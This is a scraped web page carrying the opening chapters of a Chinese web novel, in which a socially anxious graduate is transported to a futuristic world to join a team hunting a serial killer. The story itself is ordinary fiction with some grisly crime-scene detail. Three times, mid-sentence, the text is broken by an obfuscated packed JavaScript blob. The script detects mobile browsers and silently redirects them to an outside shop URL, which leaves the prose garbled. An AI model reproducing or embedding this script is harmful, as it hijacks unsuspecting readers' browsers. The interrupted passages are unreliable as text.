《社恐是如何成为缉凶行动mvp的》 1. 破暗行动 “嗡——”枕头边的手机正在振动着。 几声过后,燕逸岫从被窝里伸出手关掉了闹钟,慢吞吞掀开被子坐起来。 她抓起手机,屏幕亮起的光芒一瞬间有些刺目,燕逸岫眯了眯眼,输入密码解锁。 来自家人发的几条消息立刻弹了出来。 “今天去找工作了吗?” “多去面试几家比较比较工资和待遇,别急着决定。” 燕逸岫闭上眼睛叹气,后仰直挺挺再度躺了回去。 一想到要面试要社交,她就恶心头晕出汗血压下降浑身无力没有食欲心悸伤感崩溃失眠自闭心慌暴躁害怕帕金森语言能力丧失…… 大学毕业已经一周,她试投了几份简历,都收到了面试邀请,然而面试完人事都委婉地告知她太内向,沟通能力可能比较欠缺,恐怕不太适合这份工作。 燕逸岫早就知道会是这样的结果。 她的社恐不是一般的严重,脸红手抖腿软心慌结巴失语,样样都占,十几年了还是克服不了。 “有什么好害怕的,大家都很好的。” “你胆子大点嘛,大胆一点就克服了。” “你这样就是社恐吗?你们社恐到底在害怕什么呀?这些不是很正常的事情吗?” 诸如此类的话,燕逸岫也听了十几年。 起初她解释过社恐不是那么简单的害怕什么东西的问题,后来发现别人实在无法理解,就逐渐变得更加沉默,不再多言。 从学校到社会,社恐的舒适圈越来越小,让人感到越来越窒息。 今天周六。燕逸岫看了眼日期,决定周一再开始加油找工作,先休息两天放松一下紧绷的心神。 煮了碗面当作早中晚饭一顿解决掉后,燕逸岫收拾收拾屋子,把所有垃圾一起打包带出门。 电梯正好从楼上下来了,但她没有按,而是杵在那儿看着电子屏上的数字一格格从8跳到1。 又等了十秒,数字仍然没变化,确定没有人用电梯了,她才按下下楼的按钮。 电梯再次爬上来,停在5层,门缓缓打开。 见里面空无一人,燕逸岫才彻底松了口气,大步走进去。 扔完垃圾回来,燕逸岫洗干净手,走到桌前坐下,准备把囤了几集更新的六月新番看完。 她打开笔记本开机,摁了几次,却还是没有启动。 没电了? 燕逸岫没多想,起身去抽屉里拿充电器。 再转回身时,她发现电脑屏幕已经亮了,但却像出故障了一样,断断续续闪着彩色的像素块。 “不会吧?”燕逸岫快步走近,心疼地皱起眉头嘀咕,“这么快就坏了?” 电脑坏了怎么办? 重启大法。 燕逸岫不假思索就准备长按电源键关机,然而下一刻,屏幕骤然变成一片刺眼的鲜红色,几个漆黑大字浮现出来。 欢迎加入破暗行动组。 什么东西? 燕逸岫傻眼了,立刻狂按电源键。 啊啊啊TD!TD!TD! 然而屏幕上的内容毫无改变,电脑甚至还发出了细微的“呲呲”声。 是被黑客黑了吗?不能够吧,谁吃饱了闲得慌会黑她这个普通人的破电脑? 正胡乱摆弄着,燕逸岫听到电脑里传出一道机械的声音。 “燕逸岫,22岁,人脸认证成功,已确认身份。接下来我将带您前往新世界,与队友们汇合。” 诡异的红光瞬间盈满整个房间,燕逸岫还没来得及说什么,她的身影就被红光包裹住,瞬间消失。 电脑充电器掉在了地上。 屏幕也熄灭了。 一切重归平静,窗帘紧闭的房间陷入沉默的昏暗中。 只恍了恍神的功夫,燕逸岫感觉自己不再飘浮失重,真切触碰到了坚硬的地面,才缓过劲来。 “这什么情况,你们都是谁啊?”喊叫的声音从背后传来。 燕逸岫吓了一跳,立刻回头,目光扫过去才发现自己周围还有几个人,都是女性,都是陌生的面孔,都歪七扭八跌坐在地上。 再抬头环顾四周,她们处在一个大厅,只有白墙和悬在中央的巨大黑屏,别无他物,冷冰冰的空旷,呼吸里都是带着凉意的消毒水味。 不明白发生了什么的燕逸岫下意识转了方向背对空无一物的白墙,悄悄往后挪,不动声色地拉远距离观察其余人。 加上她,总共五个人,看着年纪都不算大,脸上满是疑惑和警惕。 这时,悬在空中的屏幕亮了,燕逸岫听到了熟悉的声音。 十几秒前,就是这个不辨性别的声音从她的电脑里传出来。 “欢迎各位来到新世界。我是统筹破暗行动的系统,今后会为各位提供各方面的帮助和引导,相信优秀的你们能和1队一起披荆斩棘,抓住潜藏的反派,阻止惨剧继续发生。” “什么东西?什么反派什么惨剧,当我是三岁小孩啊?”班味很重的女生气恼地嚷嚷,“我可没空陪你玩什么过家家,快点让我回去,我还有工作没完成!” 另一个长发女生抬手扶眼镜,平静的声音里透着一股淡淡的绝望:“我肝了一万多字的研究报告还没保存……” 经历过毕业论文的折磨,刚刚脱离苦海的燕逸岫不禁暗暗呲牙,深感同情。 其余人也小声嘀咕起来。 系统很快打断了骚动:“这里的时间与各位的现实世界时间不相通,哪怕各位在这度过十年,回到现实世界也仍然是回到穿越的一秒。” “接下来我会简述事件和任务。” “新世界是科技高度发达的世界,曾经的科幻片在这里已经成为现实,与之相关地,犯罪率也逐渐提升,高科技被不当使用,成为罪犯逃脱法律制裁的工具。” “一年多前开始,一系列严重的犯罪事件在首都A省各地发生,犯人有高度反侦察能力,还掌握了一些不为人知的科技手段,因此难以追查,已被列为全国通缉犯。” “为了维护新世界的安全和稳定,本系统从你们的世界调来人员作为无法查到真实身份信息的暗线协助当地公安部门,但一年来进展缓慢,反派的犯罪手法还在逐步升级,所以特别调遣你们五人前来支援……” “为什么是我们啊?”打扮精致的女生站在中间,抱起双臂没好气地质问,“我又不是学刑侦专业的,找我来送死吗?” “我也不是。” “……” 燕逸岫也有此疑问,但她始终一言不发,站在最边缘安静听着。 机械的声音不为所动:“人员的选择是系统大数据筛查,请各位放心,也对自己有信心,大数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564299|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据演算是不会出错的。” “另外,系统已经为每个人提供微系统芯片,随机植在身体某处,只有本人感受得到,通过意念即可启动。每个人的微系统都是独立设备,不互通,只服务于植入者本人。” 还有这种高科技? 燕逸岫十分惊奇,系统没说她还不知道,现在有意识地感受了一下,就感受到左侧腰部里有小小的异物。 她试着用意念启动,果然,下一刻,脑海里闪现出一块悬浮的屏幕,上面显示着自己的姓名和性别。 “微系统会根据本人原有的特长设置技能点,初始有1-10点,在实战中会不断增加,可突破人类极限,进阶成为异能,其他特殊技能点会在后续完成任务时随机觉醒。” 燕逸岫感受到腰侧的芯片开始略微发热,接着,微系统界面上显示的蓝色汉字确实跳动变化了,散发着幽幽的冷光。 姓名:燕逸岫 性别:女 身份:破暗行动执行组成员 技能:【敏捷】10【五感】10 还没等大家惊奇几秒,系统又继续介绍剩下的内容。 “综合所有案件来看,被害者没有关联,反派似乎是随机杀人,每次都会在现场留下特殊的签名。” 河水潺潺,夜色如墨,人影正立于石墙前,左手掌心盛着一汪鲜血,以手指蘸取,用血一笔笔画下图案—— 一个蜷在子宫里的婴儿。 “你猜猜,她们会来看你吗?”他给婴儿补上闭着的眼让其安睡,随后哼起了歌。 另一边,毫不知情的新队员们正在从系统口中了解更多内情。 反派犯案手法各不相同,留下的线索也让人理不清头绪,有的是左撇子,有的是右利手,有的是高个,有的是瘦小的人,唯一共同点就是鲜血画下的犯罪“签名”。 因此公安部门合理怀疑这是一个神秘的犯罪组织。 前一批队员进入该世界大约一年,目前只抓到两个帮凶,没有审出任何幕后主使的线索,没能成功渗入反派组织,甚至连反派是谁组织在哪都没摸到边。 而反派毫无顾忌,继续犯下残忍血案,致使人心惶惶。 之后,他似乎察觉到了有不寻常的组织在追查他,所以先下手为强,开始暗杀异能成员。 己方已有两人在行动中牺牲。 所以系统对第一批仅剩的三人进行全封闭式保护,暂停所有调查工作,等待筛选出第二批成员后再一起执行任务。 等一下…… 听完这些内容,燕逸岫脑海中有个模糊念头一闪而过,她悄悄抬眼看向悬在空中的大屏幕。 难道说…… “系统探知不到反派任何信息和线索,反派能追查到异能成员并杀害,根据这些情况分析,不排除反派自己也有系统辅助隐藏身份的可能。” 系统正好把她刚刚产生的怀疑说了出来。 听着祂毫无感情地陈述这天崩开局,燕逸岫已经想赶紧找个绳子吊死了算了。 为什么偏偏选她成为队员?她不懂查案,还是个什么都害怕的社恐,一个不小心成了拖后腿的,她就会被反派组织砍死,还可能连累行动组的其她人。 研究报告没保存的女生略一思索,忍不住皱起了眉,抬头问道:“为什么你查不到反派,他却能查到你?” 2. 达摩克利斯之剑 “反派也查不到我,因为我的宿主并不是行动组之中的任何一员。系统能直接屏蔽和保护所寄生的宿主的所有信息,而季渊知你们属于外部协助人员。” 另一道声音冒了出来:“那你的宿主是谁?” “保密。一旦宿主死亡,系统也就随之全盘崩坏,不复存在。同样拥有系统的反派当然也明白这些,所以他已经开始寻找我方宿主了,之前杀害两名1队成员就是为了这个目的。” “只要能杀掉宿主,让另一个系统消失,就不会再有任何人能阻碍他了。“ “所以保险起见,宿主身份作为最高机密,不到万不得已的程度是不会告知的。” 季渊知紧接着又问了另外一个重要问题:“在这里被杀,是真的死透了吗?还是说会被送回原世界?” 其余人的视线齐齐转向半空中的大屏幕,显然都急迫地想知道答案。 “在抓住反派前,只要有一个异世界成员存活,牺牲的成员就只是‘暂时死亡’,进入另一层时间停止状态,任务成功即可复活。” “倘若始终抓不到反派,你们将永远留在这里。本系统能调遣的异世界成员只有十人,一旦十人全部死亡,任务也宣告失败,其余人的暂时死亡状态失效,意识魂灵一起消散,当然我会将你们的尸体传回原世界。” 所有人目瞪口呆,没想到有一天死亡竟然会以如此离谱的方式飘到自己身边,如达摩克利斯之剑悬于头顶,尖刃锐利的光芒刺痛双眼。 “愿各位齐心协力,打败反派。此外,完成任务每人奖金五千万。” “我才不稀罕你的五千万!” 满含怒火的高声骤然刺破了死寂。 “我自己有的是钱!”顺风顺水长大的乔琅没经历过多少可怕的事情,如今面临这一处境,难免又气又慌,忍不住流下眼泪,用力跺脚发泄情绪,“让我回去!我给你一亿、十亿,都行!随你开!快让我回去!我不想死!” “开弓没有回头箭,来到这里,只有任务成功才能回到原世界。” 听到这话,乔琅蹲在地上抱膝抽泣,根本不在乎还有其她人在场。 “我不想死……” 温簌蹙着眉,神情担忧,快步走到她身边,蹲下来轻拍她的背安抚,边叹了口气。 站在一旁的贫穷人士燕逸岫看似面无表情,其实内心也在哀嚎。 能不能也让她回去啊!给她钱她也不想做这么恐怖的任务。 简直是让社恐的痛苦生活雪上加霜。 系统仿佛听不出叫喊声里的愤怒,无动于衷地继续说道:“新世界需要各位的能力,无数人等待着救世主的出现,祝各位成功。” “以下三点请各位牢记。” “一,我先前已经提及,系统查不到反派的身份,反派却能找出异能成员,因此我们合理怀疑反派自己也有系统辅助,请小心行事。” “二,请尽快顺利融入新世界,在后续行动中也多加注意,不暴露自己来自异世界且有异能的情况,以免引发社会层面的恐慌,惹出更多麻烦,也会让反派掌握到更多有利信息。” “三,每个人的微系统只服务于本人,所以请勿轻易向任何人暴露自己的技能和底牌,因为这是你们保命的利器。” 每说一点,大家的神色都更凝重一分,气氛沉闷到没有人再开口询问什么。 真切的死亡不知何日来临,未来的路途遍布迷雾,没有人这么快就能接受现实。 “温簌,把乔琅扶起来,所有人请左转,穿过走廊前往模拟室进行测试,我会根据每个人的优点特长分配具体小组。” 乔琅情绪来得快去得也快,此时已经完全冷静下来,不再继续哭泣,接受了眼前的现实,起身后她三两下抹去脸上的泪水,率先迈步。 五人一起走向左侧的长廊。 长廊的灯十分明亮,照得墙壁雪白,门扇崭新,亮堂堂的环境略微舒缓了大家紧绷的心神。 一共五扇门,门牌上都写着“单人测试室”。 看来是一人一间,燕逸岫稍稍松了口气。至少每个人是分开测试的,互相看不见。 也不知道测试内容是什么,万一当众出糗了,对她而言实在是尴尬。 毕竟,哪怕如今已经大学毕业了,偶尔突然回想起小学时干的傻事出的丑,燕逸岫还是会破防到辗转难眠。 感应到有人靠近,五扇门自动齐声打开。 “人脸识别成功。请移步入内开始测试。” 燕逸岫慢吞吞挪动脚步做出在往里走的样子,余光留意着其她人。 她们都已经大步迈入房间里,门也开始自动关闭了。 没有听到她们发出什么不寻常的动静,应该都是安全的。 燕逸岫这才深深呼吸吐气,怀着忐忑的心情走了进去。 房间比想象中大得多,不过也是空荡荡的,只有三分之一处横着一张长长的桌子,没有摆放任何东西。 进来后,她就开始偷感很重地悄悄扫视四周寻找监控,但墙上也什么都没有。 门缓慢关上,长桌中间随之浮现出一块虚拟屏幕,根据燕逸岫的身高停在合适的高度,“开始”二字跳动三次后,屏幕上涌出无数数字。 第一组测试是复杂的程序设计操作、物理化学题和精密的毒药炸弹研制。 燕逸岫顿时傻眼了,无从下笔。 开局就是她不擅长的。 她并非计算机专业出身,也没有兴趣拓展这方面的业余爱好,多年来只会非常基础的计算机操作。 还有这些理化数字字母天文,燕逸岫多看几眼就觉得犯困。 多年不学数理化了,它们还是这么催眠,最佳睡前读物的地位不可撼动。 燕逸岫拿起浮在一旁的虚拟笔,挑着貌似看得懂的题努力写了一些,至于配毒药和炸弹更是想都没想过,完全不了解,所以她彻底摆烂,果断选择点击“下一项”按键。 画面切换了。燕逸岫随之叹了一大口气,僵硬的肩背稍稍放松了点。她只能暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564300|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自庆幸这里没有别人在,看不到这惨烈的成绩。 如果一点优势都没有,不适合参与任务,也不知道系统会不会把人送回到现实世界去,再另选合适成员。 第一组测试就此结束。下一秒,桌面突然打开了,一排武器匀速升了上来。 “请一一拿起武器开始测试。” 第二组测试是武器,有飞镖、弓箭、手枪、狙击枪等。 一个靶子随之无声无息出现在正对面的墙上,无规律地前后左右移动。 燕逸岫努力平复头脑里跳跳糖似的乱蹦的各种思绪,打起了几分精神。 总算有了些她能上手的项目。 飞镖她没接触过,掷了几次都扎进四周的墙里,但她靠着试验迅速找到了手感,估出所需力道和瞄准方位,最后几枚飞镖好歹都掷中了靶子。 接着她拿起沉重的弓,张弓搭箭,瞄准对面的靶心,稳住手臂,一支支长箭便刺破虚空飞向前方。 下一样武器是手枪,同样也是要求射击十次。 燕逸岫也没有磨蹭,上膛后左脚往前半步,伸直右手臂,视线追随着对面移动着的靶子,干脆利落地开枪。 “砰!” 弓箭和手枪的成绩都在九环和十环内。 火速完成所有武器的测试后,看到屏幕上累加出的分数,燕逸岫终于露出了一丝笑容。 在原来世界的大学生活中,她的爱好就是泡在弓箭馆和射击俱乐部里一个人闷头练。 本来只当放松心情舒缓压力去玩,一年年坚持下来,也逐渐得心应手。 好歹有看得过去的分数,要是全部不及格,她都不知道该怎么面对队友了。 第三组是追踪能力考察。 虚拟屏扩展至贴到房间上下四角,巨大的屏幕上,密密麻麻的影像跳了出来。 中间是一个人的全身图,黑头发黑衣服,长相普通,没有什么特殊的记忆点。 测试内容是同时观看几十个人流密集的不同地段的监控录像,找出他的行动路线。 燕逸岫目光转来转去,盯得脖子前倾,头晕眼花,抹了好几次酸得流出来的眼泪,三分钟时间到了都还是没找到几个。 结果这一项也不过关。 她闭目缓了一会儿,确认视线恢复正常了,不再眼冒金星,才叹着气抬起头瞧下一项内容是什么。 “……” 燕逸岫望着前方的大字,不禁头皮发麻,眼皮直跳。 近身战。 不行不行不行不行不行—— 燕逸岫下意识抬手就想找跳过的选项,然而测试无法直接跳过,她的指尖还没触碰到屏幕,一个高壮的全息人影就毫无征兆地闪现出来,飘到了她的右侧,神似某动漫里的常驻嘉宾小黑。 黑影挥臂打出又快又狠的一记拳,连缓冲反应的时间都不给。 “等等!”燕逸岫吓得魂飞魄散,条件反射地疾步后退躲开,差点摔倒在地。 等等,她完全不会打架啊! 3. 蛇与沉重的血水 虽然是全息投影,但黑影抡出来的却是实打实的力道,有几拳擦过燕逸岫的头发和衣服,她都能感受到冲到脸上的迅风。 不开玩笑,这挨上几拳真的会被打残的。 深感绝望的燕逸岫只能全神贯注盯紧黑影的动作,尽最快的速度躲开,拉远两人之间的距离。 见拳头几次打不到,黑影长腿一扫,气势汹汹朝她膝盖窝踢去。 “不是吧大哥,差不多可以了吧?!”刚蹲下躲开一拳的燕逸岫立刻手脚并用地稳住身子站起来来了个原地起跳。 然而还是没完,黑影顺势旋转一圈,换了一边腿如法炮制。 这样以左腿为中心右腿为半径的圆范围太大,这个非人类的虚拟影像速度奇快,并不容易防,而她已经被逼到墙边,没有多少躲闪的空间了。 燕逸岫欲哭无泪,眼看快要被踢飞,这时余光瞥到左边的桌子,于是落地后顺势屈膝蓄力,跳上桌子翻滚几圈远离。 一声巨响,黑影的回旋踢将桌子踹成两段,上面的各类武器也因此飞了出去,稀里哗啦散落一地。 抓住黑影跑过来的一秒空隙,燕逸岫趁机抄起掉在旁边的手枪,不假思索地飞速瞄准扣动扳机。 然而子弹直直穿过虚影心脏位置,钉进了对面的墙里,没有对黑影造成任何伤害,系统对此也不作反应。 武器击中不算赢,这下完了。 燕逸岫心想着,边扔开枪弯腰避开朝着自己砸来的越发凶猛的拳头。 只能继续满屋子跑了。 相隔十几公里的一个房间里,三个人站在一排分屏前,观察着测试的进行。 “这个人只防守不动手吗?其她同样不会功夫的好歹也会回击几下,”秦观秋的注意力被燕逸岫的测试过程吸引,认真看了一会儿后扬起眉,“不是练家子,但她躲得非常快,这反应能力比一般人强多了。” 抱臂站在中间的姜韫点了点头:“动作虽然生疏,都是很慌张的临场反应,不过又快又轻。” “小黑可是头一回这么久都没打到目标,急得一直自动上调速度和力量设定数值。” “而且她射击成绩最好。” “你有感觉到吗,她拿起武器瞄准目标的时候,浑身气场都变得不一样了,怎么说,像……像……” 蜇伏的蛇。姜韫目光追随着那道敏捷的瘦小身影,暗自心想。 燕逸岫后退时不慎踩到地上的枪,脚下一滑失去平衡,摔在地上,还没感觉到痛她就立刻滚了一圈再次爬起来,死死锁定黑影的位置和动作。 她已经快累虚脱了,现在几乎是全凭恐惧和求生的本能在做出动作。 每一秒都是煎熬。 终于,铃声响起。 本还在继续攻击的黑影瞬间消失,只留下呆愣的燕逸岫和满地狼籍。 三秒后,铃声也断了。接着,冷冰冰的机械声在空旷的屋子里回荡。 “测试结束,辛苦各位的配合。” 终于结束了。 放松下来的燕逸岫扶着膝盖缓慢蹲下,用力地深呼吸,拍拍急促跳动的心口,甚至有点想吐。 她这辈子最讨厌的就是跑步了。 惊吓加上高强度活动,现在她的腿还在颤抖,恨不得直接躺倒在地。 你们清高!真的是不管不顾地追着人往死里打啊! 她从小不爱跑跳类的运动,读大学时只有每年体测了才会发奋图强提前两三星期去跑跑圈,平常都是宅在宿舍,就算是去射击俱乐部和弓箭馆玩也不需要跑动。 所以她肺活量差得很,爬个两层楼就会累得气喘吁吁了。 今天这一折腾,她还得肌肉酸痛好几天。 走廊传来略微杂乱的脚步声和窃窃私语,其她人都走出了模拟室返回大厅。 尽管还觉得喘不上气,燕逸岫也只能咬牙站起来,小跑出去跟上大家,不想拖拖拉拉让别人等。 五人来齐后,系统的屏幕上显示出了分组。 2队成员分组: 【研究组】季渊知,廖怀霖,乔琅 【外勤组】温簌,燕逸岫 总分组: 【研究组】季渊知,姜韫,廖怀霖,乔琅 【外勤组】秦观秋,谭誉道,温簌,燕逸岫 *已牺牲队员不计入其中。 “啊?” 燕逸岫倒吸一口冷气,在众人面前第一次发出声音,虽然声音很低,注意力集中在分组上的另外几人都没有听见。 外勤,意味着要经常在外面活动,要见很多人,要说很多话,要应对很多社交情况…… 燕逸岫越想越心凉,同时浑身冒热气,低着头焦虑地咬嘴唇,本就没力气的腿感觉更站不住了。 系统最初筛选合适人员的时候怎么会没考虑到她的性格问题? 她的思维又开始飞速跳跃,脑海中预演出无数因为自己社恐搞砸了任务甚至害了队友们的可能性。 系统的说话声将她的思绪拉回当下。 “研究组主要在暗处工作,进行技术类支持,有时也需要出外勤协助,外勤组则活跃在明处,调查各类线索,以及开展跟踪潜伏等工作。” “现在你们对反派所犯案件一无所知,我已经将资料传到每个人的微系统数据库中,你们回去后先行了解研究,有任何疑问可直接与本系统联络说明。” “姜韫是破暗行动大队长,统筹具体任务执行,今后有什么事也可以与她商量讨论。明天我会带各位与1队成员会面。” 系统又交代了几项事情做结尾,电子屏幕就关闭了。 一道大门忽然从墙壁中显现出来,锁自动开启,意味着她们可以离开大厅。 系统消失得太快了,让燕逸岫有种这一切都是自己在做噩梦的错觉,仿佛走出这扇门,自己就能回到原来的世界,继续自己平静普通的生活。 她默默启动了微系统,发现数据库里确实凭空多了一份名为《案件》的资料。 不是做噩梦,是真的清醒着在经历噩梦。 燕逸岫无奈接受现实,正要退出时,留意到面板还上多了一个小红点。 点进个人资料,她这才发现内容有了点变化。 身份:破暗行动执行组成员(外勤) 【敏捷】20 技能在她不知情的时候加上了10点。 很快她就反应过来,大概是测试时近身战那几分钟的窝囊逃跑,虽然那只是一场测试,但也算是实战,所以计入了有效提升。 燕逸岫关掉微系统,杵在最后面,怯生生地看向眼前陌生的队友们。 那四个人已经讨论起来了。仔细听了几句,她才跟上她们的思绪。 这栋综合大楼为系统所有,楼上有餐厅、训练室、医疗室和单人工作室等等,她们打算一起到三楼吃晚饭,正好互相了解了解,边吃边讨论怎么开展任务。 什么?吃饭?我们? “那就走吧。” 不是,为什么刚认识的人能这么自然地答应一起吃饭? 燕逸岫弯了一天的腰终于断了。 她内心抓狂但不敢吱声,乌龟爬似的跟在她们后面。 要不直接说自己不去了? 要不直接偷偷打个车跑吧? 这也不太好吧? 脑海中浮现出以前实习期间被迫参加公司聚餐的尴尬经历,燕逸岫更加破防,还没走几步就已经有了强烈的如坐针毡的感觉,顿时不想管太多了,只想赶紧躲得远远的。 于是,燕逸岫悄悄把手伸进口袋里,却摸了个空,这才想起来这个世界早就淘汰掉实体的手机了,而她还不知道这里怎么打车,也不认路,更不熟悉这里的智能操作。 廖怀霖回头,瞧见燕逸岫一脸呆滞落在后面,于是她停下脚步朝对方招招手示意:“快过来吧。” 四道目光齐刷刷落在她身上,燕逸岫只好硬着头皮大步追过去,靠听着短发来回扫着肩膀的细碎声音分散思绪。 没关系的,大家看起来都很和善, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564301|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初来乍到也很有话题聊,作为队友,本就该互相熟悉一下。 燕逸岫紧张地安慰着自己,越安慰越紧张。 然而,她们还没跨出门,系统又再次出现,挡在她们面前。 “自由活动暂停。” 燕逸岫大喜过望。 “五秒前,我的视听筛查捕捉到信息,一处凶案现场被路人发现,现场留有特殊的婴儿图案,是反派出手了。” 燕逸岫大惊失色。 “趁现在警方还没抵达现场,你们立刻赶过去,假装路人混入人群中,亲眼看看那个血淋淋的犯罪签名,感受一下我们今后要面对的敌方展现给所有人的挑衅和残忍。” 原本好不容易稍转轻松的气氛再度变得压抑。 发生命案了,燕逸岫这会儿也顾不上刚才那些杂乱的念头,神情严肃地和大家一起飞奔下楼。 踏出门后,燕逸岫听到了螺旋桨的旋转声,抬头就瞧见公安部的直升机从低空飞过,估计也是直奔命案现场。 系统已经安排了五辆模样普通的无人驾驶小车停在大厦门口,五个人陆续上车,关上车门。 保险起见,系统选择了五条不同路线,让她们分头出发,不会同时出现在人多眼杂的地方,被人目击到是同行人一起过来的。 关好门的瞬间,小车就飞速蹿了出去,惯性致使她后仰紧贴在靠背上,燕逸岫双臂按着坐垫稳住身体,望向窗外。 速度快到完全看不清周遭是什么场景,明亮的灯光被拉长成一条条粗细不同的直线。 无人驾驶是个好东西,至少不会有社牛司机找社恐顾客热情闲聊。 “天已经这么黑了。”燕逸岫注视着暗沉夜色,喃喃自语。 大厅灯光开着,亮如白昼,也没有窗户,加上大家的心思都集中在系统和测试上,待在里面根本感知不到时间流逝。 也不知道这个世界还看不看得到星星。 没过多久,小车就慢慢减速,停在了街边。 燕逸岫匆忙下车,根据微系统定位的目的地,小跑穿过右手边的小巷,来到桥边,打开录像。 系统先前说过,虽然第二天公安刑侦组会将资料共享到系统数据库里,但她们也要在不同时间和位置做些记录,以便后期进行比对核实。 附近的路灯坏了,十分昏暗,但一堆人挤在桥上和桥下,要么开着智能手电筒往尸体上照,要么闪光灯闪个不停忙着拍照,因此也算是照亮了几分周遭环境。 燕逸岫靠在栏杆往下望,画在石墙上的诡异醒目符号立刻映入眼帘。 直径大概两米的圆圈,圆里画着一个蜷缩的婴儿,其余部分涂满暗红,宛如是被溺死于血水中。 一眼就让人心神惧颤,毛骨悚然。 目光略略移动转向河岸边,就能看到尸体了。 性别不确定,因为受害者垂直于河流躺着,正面朝上,整个脑袋浸在水中,看不到容貌。 白衣服和长裤被血浸透,露出来的四肢没有明显防御伤。 草地上也有大片大片的暗色血污。 警笛声由远及近,警车已经拐过转弯路口朝这里来了。 燕逸岫火速跑往桥下,站到离命案现场稍远的高处,将目之所及能看到的远近场景全部录了下来。 尸体、符号、环境、物品,以及桥上桥下所有围观的人。 警察急匆匆赶到河岸,开始勘验现场,划出范围布置警戒。 燕逸岫站的位置不在警戒范围内,所以她继续混在人群里,跟随众人凑到警戒线边观察。 现场痕迹固定线完成后,尸体被警察合力搬上河岸。 不知在河水里泡了多久,尸体的脸部十分惨白,也因此将他嘴上皮肉外翻的伤痕衬得更明显。 不少围观群众发出惊呼声。 燕逸岫也眉头紧锁。 被害者大张着的嘴被划烂了,神色停留在极度惊恐的一刻。 嘴里空荡荡的,牙齿被拔光了,舌头似乎也被割掉了。 4. 夜语 法医从工具箱里取出几样奇形怪状的设备开始对尸体进行拍照和扫描。 十几个小型悬浮机器人同时启动,分散开来在河岸飘荡,一寸寸地搜索痕迹物证,拍照存档并进行收集。 直升机在空中盘旋,记录位置,扫描全景,边收集地面传输的数据信息,形成完整的现场分析图。 燕逸岫费劲地往前挤了几步,盯紧了警察们的嘴唇张合,聚精会神,试图过滤周遭杂乱的嘀咕,分辨出想听的部分。 “太可怕案发怎么目击者报案又是那个疯子干的没有看见其这是第几起是男性……” “我都不敢身份我朋友芯片伤口到底什么时候抓到嘴部和舌头吓死了死亡时间……” 燕逸岫将呼吸控制得更缓。 耳边的吵闹逐渐淡化,想听的几个人的声音变得更清晰。 “死者心脏被刺中,从伤痕形状初步判断,凶器是水果刀一类的短匕首,出血量大,脸部伤口也有生活反应,是生前伤……” “戴法医刚才扫描过,口鼻部无蕈样泡沫,凶手是在杀人后刻意将被害者摆成这个头部浸水的姿势,似乎是想传达什么讯息。” “路灯和监控都坏了,不用想就知道又是那个人的手笔,每个现场附近的监控在命案发生的那段时间都会出现永久性故障,无法修复,凶手离开后又恢复正常,根本记录不到发生了什么。” “已经通过受害人的芯片通讯录联系上了他的家人,他们现在出发前往警局等待认尸。” 高科技设备提高了现场调查的效率,燕逸岫还没了解多少,警方就已经完成这一阶段的取证工作,准备返回警局。 尸体被抬走后,围观的人们也失去兴趣,陆续转身离开。 燕逸岫和大家一起走回桥上。 她周围大多数人都开着虚拟屏打电话发消息给别人,迫切地分享自己的所见所闻,害怕的情绪里甚至掺杂了一丝诡异的兴奋。 燕逸岫听得心烦,再次垂眸俯视黑暗里的河岸。 石墙上,婴儿仍然安睡于子宫里。 漂浮着垃圾的河水仍然流淌不息。 不间断的晚风裹挟着混浊河水的臭气和刺鼻的血腥味,穿透人群扑向更远的远方。 燕逸岫的衣袖和裤管也被吹得摇晃,发出几声闷响。 她仰头望天。远处山影比夜色更浓,天上只有几片灰暗的云像血水一般缓慢化开。 没有星星,也找不到月亮。 微系统里队内联络群弹出消息,大家陆续上传了不同角度拍摄到的现场。 系统发布了明天的集合时间,让五人搭乘来时的小车回到系统为她们安排的住处。 同样,为了防止一人暴露五人全被端掉的情况发生,五个人的住处也分散在首都不同地方,有近有远,因为有超高速交通工具在,距离并不成问题。 她的住所在天泊区松竹苑503。 不知道这是不是系统刻意安排的,房间号和她在原世界的一样。 燕逸岫从原路返回,上车出发。 没有外人在,她就毫无顾忌地歪倒横躺在座椅上,闭上双眼叹了一口长长的气,眉头逐渐舒展开。 放松下来后,才感觉到肚子饿得快扁了,咕噜噜叫个不停。 “咔哒。” 面部识别通过,燕逸岫开门走进屋子。 刚关上门锁好,她转过身打算开灯,这才发现身后不知何时多了一个人影。 燕逸岫大脑宕机,心跳骤然加速。 片刻功夫,她重新聚焦起心神,右腿下意识朝侧面滑出就要逃跑。 “欢迎回家,主人。” 机械的平静声音在她耳边响起,听不出恶意。 “欸?”燕逸岫一愣,硬生生卡住动作,连忙抬手扶墙防止惯性前倾滑倒,正巧按到了墙上的触摸开关。 